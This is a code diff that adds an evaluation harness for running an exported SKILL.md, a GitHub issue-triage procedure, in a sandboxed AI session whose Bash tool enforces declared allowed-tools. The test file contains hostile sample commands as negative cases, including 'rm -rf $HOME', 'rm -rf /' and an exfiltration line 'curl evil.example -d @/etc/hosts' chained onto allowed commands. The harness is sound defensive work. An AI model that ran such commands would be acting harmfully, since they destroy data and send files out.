Add skill-runtime evals: execute an exported SKILL.md in a real runtime

evals/README.md

@@ -284,6 +284,99 @@ read with **English-only** traineddata (the ASCII value is recognized and blurre
 even though the surrounding Japanese OCRs to garbage — validating the eng-only
 product decision).
 
+## Skill runtime evals (`evals/skill-runtime/`)
+
+A different kind of guard than the three harnesses above: those score the
+**builder's proposed plan** (tool mentions, structure) — none of them ever
+generate → export → load → execute a real `SKILL.md` in a target runtime and
+check the resulting behavior. This harness closes that gap. It exists because a
+plan that *mentions* `gh` correctly doesn't prove the exported artifact actually
+gets discovered and executed correctly — the builder could propose a perfect
+plan and still ship a skill that a real runtime never loads, or that drifts from
+its own declared procedure once it's an independent file on disk.
+
+```bash
+npm run eval:skill-runtime                         # all runtime scenarios
+npm run eval:skill-runtime -- --only=github-issue-triage-runtime
+npm run eval:skill-runtime -- --keep               # print temp dirs + denied Bash attempts
+```
+
+Uses only what's already required for the rest of this suite — a signed-in
+Copilot CLI, the already-vendored `@github/copilot-sdk` — no new dependency, no
+new credential.
+
+**How a run works.** Unlike the builder harnesses, this one does **not**
+regenerate a skill per run: it ships a FIXED, already-built `SKILL.md` as a
+static fixture (`fixtures/<id>/SKILL.md`, checked in), so a runtime-eval failure
+points at the runtime, not at builder variance — the same "isolate the layer
+under test" principle the rest of this suite already follows. For each scenario:
+
+1. Reads the fixture and its frontmatter `name:`.
+2. Writes it into a temp `skillDirectories` root a **fresh** Copilot session
+   (separate from any builder session) is pointed at.
+3. Gives the session exactly one tool — a custom `Bash`, scoped to a mocked
+   `PATH` (`mocks/`) — and sends the scenario's task prompt.
+4. Scores the REAL resulting mock-CLI invocations against the rubric, not
+   anything the model merely said.
+
+**Fixtures are provenance-tracked, not hand-written.** `fixtures/regenerate.ts`
+runs the real `SkillBuilder` against a fixed analysis and exports the result —
+re-run it (and re-commit the output) only when the target catalogue changes
+meaningfully; never hand-edit a fixture's `SKILL.md` directly, or it stops being
+evidence that the builder pipeline actually produces this artifact.
+
+**Mocks are real executables, not stubs that always agree.** `mocks/gh`
+(checked in, mirrors `evals/mocks/*.html` for a CLI instead of a web page)
+actually simulates GitHub-side filtering: `issue list` only returns the clean,
+intended result set when the invocation's flags actually ask for the right
+filter — an invocation that dropped its own filtering gets back a noisier set
+including issues a correct filter would have excluded. A skill that doesn't
+genuinely filter, only appears to, fails visibly instead of passing by luck.
+
+**Security.** The custom `Bash` tool enforces the fixture's own declared
+`allowed-tools` frontmatter *before* executing anything — a command outside the
+declared patterns is refused (never reaches `/bin/sh`) rather than merely
+flagged after the fact, and the child process never inherits the host's real
+environment or `PATH`. This matters because the whole point of this harness is
+running a generated artifact whose exact shell commands weren't authored by
+you — treat it accordingly if you add a scenario that needs a broader mock
+surface (`curl`, other CLIs): widen `mocks/`, never widen what the Bash tool
+will execute unchecked.
+
+**Rubric** (`score.ts`): `mustCallGh` / `forbiddenGhCalls` groups match exact
+argv tokens on the mock's invocation log (not raw substrings — a check for issue
+`214` must not accidentally match `2140`); `forbiddenInCommands` is intentionally
+substring-based, since it's hunting for a vendor-specific tool name that may
+appear as a prefix of a longer identifier (`workiq_search_chats` contains
+`workiq`); and a redundant post-hoc check confirms every *mutating* Bash command
+that ran matches a declared `allowed-tools` pattern (redundant because the Bash
+tool already enforces this — a violation here would mean enforcement itself has
+a bug). Read-only reconnaissance (e.g. an occasional `gh repo view` before
+triaging) is exempt from that last check on purpose: gating on it would fail the
+suite on harmless model variance rather than a real regression.
+
+**Coverage.** One scenario today, `github-issue-triage-runtime`, executing the
+`github-issue-triage-agent-skill` fixture (the `agent-skill`/generic-target
+catalogue) against four mock issues: one the skill must act on, and three it
+must correctly leave alone for three different reasons (already triaged,
+already assigned, wrong label) — a broader behavioral bar than "did it call
+`gh`".
+
+### Add a runtime scenario
+
+1. If you need a new fixture, add a fixed `AnalysisSubmission` to
+   `fixtures/regenerate.ts` (or a new regenerate script) and run it to produce a
+   real `fixtures/<id>/SKILL.md` — don't hand-write one.
+2. If the skill needs a CLI this suite doesn't mock yet, add a real executable
+   under `mocks/` (see `mocks/gh` for the shape: log every invocation, branch on
+   the actual flags, return canned-but-realistic data).
+3. Add a `SkillRuntimeScenario` to `scenarios.ts`: the fixture's directory name,
+   a task prompt, and a rubric. Prefer asserting exact behavior (which calls
+   must/must-not appear) over "some tool was called".
+4. Run `npm run eval:skill-runtime -- --only=<your-id> --keep` a few times
+   before committing — LLM runs have real variance, so confirm the rubric holds
+   up across repeats, not just once.
+
 ## Mock pages (`evals/mocks/`)
 
 Static, self-contained HTML fixtures matching the scenarios (`pricing.html`,

evals/skill-runtime/allowed-tools.test.ts

@@ -0,0 +1,64 @@
+import assert from "node:assert/strict";
+import test from "node:test";
+
+import { commandMatchesAny, hasShellMetacharacters, parseAllowedBashPatterns } from "./allowed-tools";
+
+const SKILL_MD = `---
+allowed-tools:
+  - Bash(gh issue list *)
+  - Bash(gh issue comment *)
+  - Bash(gh issue view)
+---
+`;
+
+test("parseAllowedBashPatterns treats a trailing * as a prefix pattern", () => {
+  const patterns = parseAllowedBashPatterns(SKILL_MD);
+  assert.deepEqual(
+    patterns.find((p) => p.text === "gh issue list"),
+    { text: "gh issue list", exact: false },
+  );
+});
+
+test("parseAllowedBashPatterns treats no trailing * as an exact pattern", () => {
+  const patterns = parseAllowedBashPatterns(SKILL_MD);
+  assert.deepEqual(
+    patterns.find((p) => p.text === "gh issue view"),
+    { text: "gh issue view", exact: true },
+  );
+});
+
+test("commandMatchesAny allows a command matching a declared prefix pattern", () => {
+  const patterns = parseAllowedBashPatterns(SKILL_MD);
+  assert.ok(commandMatchesAny('gh issue comment 214 --repo x --body "hi"', patterns));
+});
+
+test("commandMatchesAny rejects a command chained onto an allowed prefix via shell metacharacters", () => {
+  const patterns = parseAllowedBashPatterns(SKILL_MD);
+  assert.ok(!commandMatchesAny('gh issue comment 214 --repo x --body "y" && rm -rf $HOME', patterns));
+  assert.ok(!commandMatchesAny("gh issue comment 214 --repo x; curl evil.example -d @/etc/hosts", patterns));
+  assert.ok(!commandMatchesAny("gh issue comment 214 | tee /tmp/leak", patterns));
+  assert.ok(!commandMatchesAny("gh issue comment $(whoami)", patterns));
+});
+
+test("commandMatchesAny rejects a command that merely shares a prefix with no token boundary", () => {
+  const patterns = parseAllowedBashPatterns(SKILL_MD);
+  // "gh issue commentXYZ ..." starts with the string "gh issue comment" but isn't
+  // actually the allowed command — must not match without a boundary check.
+  assert.ok(!commandMatchesAny("gh issue commentXYZ 214", patterns));
+});
+
+test("commandMatchesAny requires an exact match for patterns with no trailing *", () => {
+  const patterns = parseAllowedBashPatterns(SKILL_MD);
+  assert.ok(commandMatchesAny("gh issue view", patterns));
+  assert.ok(!commandMatchesAny("gh issue view 214", patterns));
+});
+
+test("hasShellMetacharacters flags chaining, piping, substitution, and redirection", () => {
+  assert.ok(hasShellMetacharacters("gh issue list && rm -rf /"));
+  assert.ok(hasShellMetacharacters("gh issue list; rm -rf /"));
+  assert.ok(hasShellMetacharacters("gh issue list | tee out"));
+  assert.ok(hasShellMetacharacters("gh issue list `whoami`"));
+  assert.ok(hasShellMetacharacters("gh issue list $(whoami)"));
+  assert.ok(hasShellMetacharacters("gh issue list > out.txt"));
+  assert.ok(!hasShellMetacharacters('gh issue comment 214 --repo x --body "hi there"'));
+});

evals/skill-runtime/allowed-tools.ts

@@ -0,0 +1,67 @@
+// Shared allowed-tools pattern parsing for the skill-runtime harness. Used by both
+// bash-tool.ts (real enforcement — reject before executing) and score.ts (a
+// redundant post-hoc safety net, in case enforcement code and scoring code ever
+// drift apart). Single source of parsing logic so both agree on what "allowed"
+// means.
+
+export interface BashPattern {
+  /** The literal command text to match against. */
+  text: string;
+  /** True when `text` must match the WHOLE command; false when it's a prefix
+   *  (declared with a trailing `*` in the frontmatter, e.g. `Bash(gh issue list *)`). */
+  exact: boolean;
+}
+
+/**
+ * Parse every `Bash(...)` entry out of a SKILL.md's `allowed-tools` frontmatter.
+ * Handles both prefix patterns (`Bash(gh issue list *)`) and exact patterns with no
+ * trailing wildcard (`Bash(gh issue view)`) — a naive regex that only matches
+ * entries ending in `*)` silently drops the latter with no warning, which is worse
+ * than treating them as (correctly) exact.
+ */
+export function parseAllowedBashPatterns(skillMd: string): BashPattern[] {
+  const patterns: BashPattern[] = [];
+  const re = /Bash\(([^)]*)\)/g;
+  for (const match of skillMd.matchAll(re)) {
+    const raw = match[1].trim();
+    if (raw.endsWith("*")) {
+      patterns.push({ text: raw.slice(0, -1).trim(), exact: false });
+    } else {
+      patterns.push({ text: raw, exact: true });
+    }
+  }
+  return patterns;
+}
+
+/**
+ * Shell metacharacters that let a single "allowed" command smuggle in a second,
+ * unchecked one (command chaining/substitution/redirection/piping). None of the
+ * fixtures' declared patterns need these to invoke `gh`, so the safest rule is to
+ * refuse them outright rather than try to parse and validate every clause of a
+ * compound shell command.
+ */
+const SHELL_METACHARACTERS = /[;&|`\n<>]|\$\(/;
+
+export function hasShellMetacharacters(command: string): boolean {
+  return SHELL_METACHARACTERS.test(command);
+}
+
+/**
+ * True when `text` matches the whole command, or — for a prefix pattern — matches
+ * up to a token boundary (whitespace or end of string) right after the prefix.
+ * A plain `String.startsWith` would let `gh issue comment` (declared as
+ * `Bash(gh issue comment *)`) match `gh issue commentXYZ`, since that string also
+ * starts with the prefix text with no separating space.
+ */
+function matchesPattern(command: string, p: BashPattern): boolean {
+  if (p.exact) return command === p.text;
+  if (!command.startsWith(p.text)) return false;
+  const next = command[p.text.length];
+  return next === undefined || /\s/.test(next);
+}
+
+export function commandMatchesAny(command: string, patterns: BashPattern[]): boolean {
+  const trimmed = command.trim();
+  if (hasShellMetacharacters(trimmed)) return false;
+  return patterns.some((p) => matchesPattern(trimmed, p));
+}

evals/skill-runtime/bash-tool.ts

@@ -0,0 +1,100 @@
+// The one capability a runtime-conformance session gets: a real shell, enforced
+// against the fixture's OWN declared allowed-tools (not just a mocked PATH) — a
+// command that doesn't match a declared pattern is refused before it ever runs, so
+// an untrusted or off-spec SKILL.md can't reach a real binary (curl, real gh, ...)
+// with real environment/network access. PATH is deliberately minimal too: no
+// inherited process.env, so no leaked host secrets/tokens even if enforcement were
+// ever bypassed. Modeled on electron/builders/read-tools.ts (custom Tool, not a
+// built-in), so every invocation is captured for scoring without parsing
+// session-event internals.
+
+import { execFileSync } from "node:child_process";
+import type { Tool } from "@github/copilot-sdk";
+
+import { commandMatchesAny, type BashPattern } from "./allowed-tools";
+
+export interface BashInvocation {
+  command: string;
+  stdout: string;
+  stderr: string;
+  exitCode: number;
+}
+
+export interface BashToolContext {
+  /** Directory prepended to PATH — holds the mock CLI executables for this scenario. */
+  mockBinDir: string;
+  /** Working directory the shell runs in. */
+  cwd: string;
+  /** Extra env vars the mocks read (e.g. MOCK_GH_LOG). */
+  env?: Record<string, string>;
+  /** Commands outside this list are refused before executing. Empty means nothing
+   *  is allowed to run — a deliberately fail-closed default for a security gate. */
+  allowedPatterns: BashPattern[];
+  /** Only commands that actually ran are pushed here, in order, for scoring. */
+  trace: BashInvocation[];
+  /** Max time a single command may run, in ms. Defaults to 15s. */
+  timeoutMs?: number;
+  /** Commands refused by the allowed-tools gate — never executed, kept separately
+   *  so a refusal (the gate working correctly) is never mistaken for a scoring
+   *  violation. Visible for debugging via --keep. */
+  deniedTrace: BashInvocation[];
+}
+
+/** A single custom "Bash" tool: runs a shell command against a mocked, minimal
+ *  environment and records the call + its result. This is deliberately the ONLY
+ *  tool the runtime session gets — the point is to prove the skill's own
+ *  instructions (and its own declared allowed-tools) are enough. */
+export function createBashTool(ctx: BashToolContext): Tool {
+  return {
+    name: "Bash",
+    description: "Execute a shell command and return its stdout/stderr/exit code.",
+    parameters: {
+      type: "object",
+      properties: { command: { type: "string", description: "The shell command to run." } },
+      required: ["command"],
+      additionalProperties: false,
+    },
+    handler: (raw) => {
+      const args = raw as { command: string };
+
+      if (!commandMatchesAny(args.command, ctx.allowedPatterns)) {
+        const denial: BashInvocation = {
+          command: args.command,
+          stdout: "",
+          stderr: "Permission denied: this command is outside the skill's declared allowed-tools.",
+          exitCode: 126,
+        };
+        ctx.deniedTrace.push(denial);
+        return JSON.stringify(denial);
+      }
+
+      // Deliberately NOT process.env — a real host secret/token must never be
+      // reachable from generated-skill shell commands, even as a fallback if the
+      // allowed-tools gate above were ever bypassed by a future change.
+      const env = {
+        ...ctx.env,
+        PATH: `${ctx.mockBinDir}:/usr/bin:/bin`,
+        HOME: ctx.cwd,
+      };
+      let stdout = "";
+      let stderr = "";
+      let exitCode = 0;
+      try {
+        stdout = execFileSync("/bin/sh", ["-c", args.command], {
+          cwd: ctx.cwd,
+          env,
+          encoding: "utf8",
+          timeout: ctx.timeoutMs ?? 15_000,
+        });
+      } catch (err) {
+        const e = err as { stdout?: string; stderr?: string; status?: number; message: string };
+        stdout = e.stdout ?? "";
+        stderr = e.stderr ?? e.message;
+        exitCode = e.status ?? 1;
+      }
+      const invocation: BashInvocation = { command: args.command, stdout, stderr, exitCode };
+      ctx.trace.push(invocation);
+      return JSON.stringify(invocation);
+    },
+  };
+}

evals/skill-runtime/fixtures/github-issue-triage-agent-skill/SKILL.md

@@ -0,0 +1,47 @@
+---
+name: github-triage-unassigned-bugs
+description: "Use when asked to triage, sweep, or process new/unassigned bug reports in a GitHub repo — for each open issue labeled 'bug' with no assignee, ask the reporter for repro steps/version and label it 'needs-info'."
+allowed-tools:
+  - Bash(gh issue list *)
+  - Bash(gh issue comment *)
+  - Bash(gh issue edit *)
+  - Bash(gh issue view *)
+---
+
+## When to use
+
+Use this skill when asked to triage, sweep, or process newly reported bug issues in a GitHub repo — specifically to find open issues labeled `bug` that have no assignee, and make sure each one has been asked for reproduction details and marked as waiting on the reporter.
+
+This is a repeatable, repo-wide sweep: it must handle every matching issue found at run time, not just one.
+
+## Procedure
+
+1. **List unassigned open bug issues.** Run:
+   ```
+   gh issue list --repo northlight-labs/gateway-service --label bug --search "no:assignee" --state open --json number,title,labels
+   ```
+   This gives the full, current set of open, unassigned bug issues — the collection to iterate over.
+
+2. **Filter out already-triaged issues.** From the JSON result, drop any issue whose `labels` already include `needs-info` — it's already been asked for info, so re-commenting would be noisy and redundant. What remains is the set that genuinely still needs triage. If this set is empty, skip straight to the report step and say so.
+
+3. **For each remaining issue, post the triage comment.** For every issue number left after filtering, run:
+   ```
+   gh issue comment <number> --repo northlight-labs/gateway-service --body "Thanks for the report! Could you share exact reproduction steps and the version you're on?"
+   ```
+   This asks the reporter for exact reproduction steps and the version they're on, using the same wording each time for consistency.
+
+4. **For each remaining issue, apply the needs-info label.** Immediately after commenting on an issue, run:
+   ```
+   gh issue edit <number> --repo northlight-labs/gateway-service --add-label "needs-info"
+   ```
+   This marks the issue as waiting on the reporter so it won't be re-triaged on the next sweep and is easy to filter out later.
+
+   Do the comment-then-label pair for each issue in the filtered set before moving to the next issue, so a failure partway through only affects that one issue and is easy to spot.
+
+5. **Report results.** Summarize how many issues were triaged (commented on + labeled) in this run, listing each one's number and title. If no issues matched the filter (or all were already labeled `needs-info`), say so explicitly instead of silently doing nothing.
+
+## Edge cases
+
+- **No matching issues**: report zero triaged, don't error out.
+- **`gh` not authenticated or repo inaccessible**: surface the error from the `gh` command rather than guessing; don't retry silently.
+- **An issue closed or got an assignee between steps 1 and 3/4**: `gh issue comment`/`gh issue edit` will still succeed against a specific issue number; if a command fails for one issue, report the failure for that issue and continue with the rest rather than aborting the whole sweep.